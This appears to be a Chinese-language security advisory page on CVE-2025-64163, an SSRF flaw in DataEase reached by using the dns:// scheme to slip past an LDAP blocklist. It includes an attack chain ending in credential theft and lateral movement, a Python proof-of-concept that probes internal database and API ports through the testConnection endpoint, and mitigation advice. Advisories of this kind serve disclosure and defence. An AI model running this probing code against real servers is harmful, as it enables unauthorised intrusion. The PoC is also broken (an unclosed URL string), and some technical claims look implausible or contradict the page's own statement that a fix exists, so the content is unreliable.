IPBUF安全漏洞报告
English
CVE-2025-64163 CVSS 9.8 严重

CVE-2025-64163 DataEase DNS协议SSRF漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64163
漏洞类型
SSRF(服务端请求伪造)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DataEase

相关标签

SSRFDataEaseCVE-2025-64163dns协议绕过服务端请求伪造数据可视化工具开源软件严重漏洞

漏洞概述

DataEase是一款开源数据可视化分析工具,广泛应用于企业数据分析和报表制作场景。该工具提供了丰富的数据连接和可视化功能,支持多种数据源的集成与分析。在2.10.14及更早版本中,开发团队为了防止安全风险,添加了LDAP协议的黑名单过滤机制,用于阻止基于LDAP的注入攻击。然而,由于安全设计的疏漏,开发者遗漏了对DNS协议(dns://)的过滤验证,导致攻击者可以利用dns://协议绕过现有的安全防护措施,发动服务端请求伪造(SSRF)攻击。攻击者通过构造恶意的DNS请求,可以访问内部网络资源、探测内网服务、读取本地文件或与内部系统进行交互。由于该漏洞无需任何认证即可利用,且CVSS评分高达9.8分,属于极其严重的网络安全威胁,建议受影响的用户立即升级到修复版本2.10.15。

技术细节

该漏洞属于服务端请求伪造(Server-Side Request Forgery, SSRF)类型。DataEase在处理用户输入的数据源配置时,会对协议类型进行安全检查。开发团队原本意图通过黑名单方式阻止危险协议的使用,已针对ldap://和ldaps://协议添加了过滤规则。然而,dns://协议未被纳入黑名单范围,形成安全盲区。攻击者可以在数据源URL配置中构造形如dns://[internal_host]:[port]的恶意请求,当服务器处理该请求时,会尝试解析指定的域名。由于DNS请求可以指向内部IP地址(如127.0.0.1、192.168.x.x等私有地址),攻击者能够通过DNS协议的响应时间差异来探测内部服务的存在状态,甚至可以构造更复杂的攻击链访问内部API接口、数据库连接或其他敏感资源。此漏洞的利用无需任何身份认证,攻击门槛低,危害范围广。修复方案已在2.10.15版本中实现,建议用户通过官方渠道升级。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用DataEase开源数据可视化工具,确认版本号<=2.10.14
STEP 2
步骤2: 构造恶意请求
攻击者构造包含dns://协议的恶意数据源URL,如dns://127.0.0.1:3306,用于绕过ldap://黑名单过滤
STEP 3
步骤3: 发送SSRF请求
通过DataEase的数据源测试接口/api/dataSource/testConnection发送构造的恶意请求
STEP 4
步骤4: 内部服务探测
利用DNS协议的时间差异特性,探测内网服务是否存活,如MySQL(3306)、PostgreSQL(5432)等
STEP 5
步骤5: 敏感数据窃取
通过SSRF进一步访问内部API接口、读取配置文件或数据库连接信息
STEP 6
步骤6: 横向移动
利用获取的凭证信息,对内网其他系统进行横向渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-64163 DataEase SSRF via dns:// protocol # Target: DataEase <= v2.10.14 # This PoC demonstrates DNS-based SSRF to detect internal services TARGET_URL = "http://target-server/dataease/api def check_internal_service(host, port): """ Detect internal service by measuring DNS query time If service is running, DNS query will respond faster """ # Construct malicious DNS request pointing to internal host dns_payload = f"dns://{host}:{port}" # DataEase data source configuration endpoint endpoint = f"{TARGET_URL}/dataSource/testConnection" payload = { "name": "Malicious Datasource", "type": "api", "url": dns_payload, "method": "GET" } try: start_time = time.time() response = requests.post(endpoint, json=payload, timeout=10) elapsed = time.time() - start_time print(f"[*] Target: {dns_payload}") print(f"[*] Response Time: {elapsed:.3f}s") print(f"[*] Status Code: {response.status_code}") # Shorter response time indicates service availability if elapsed < 2.0: print(f"[+] Internal service detected at {host}:{port}") return True except Exception as e: print(f"[-] Error: {e}") return False # Example: Check common internal services if __name__ == "__main__": internal_hosts = [ ("127.0.0.1", 3306), # MySQL ("127.0.0.1", 5432), # PostgreSQL ("127.0.0.1", 6379), # Redis ("192.168.1.100", 8080) # Internal API ] for host, port in internal_hosts: check_internal_service(host, port)

影响范围

DataEase < 2.10.15

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 在网络层防火墙中屏蔽服务器的DNS出站请求;2) 限制DataEase应用的网络访问权限,阻止对内网IP段的访问;3) 临时禁用数据源的连接测试功能;4) 加强应用日志监控,及时发现异常的协议请求行为。同时建议尽快规划升级到v2.10.15版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表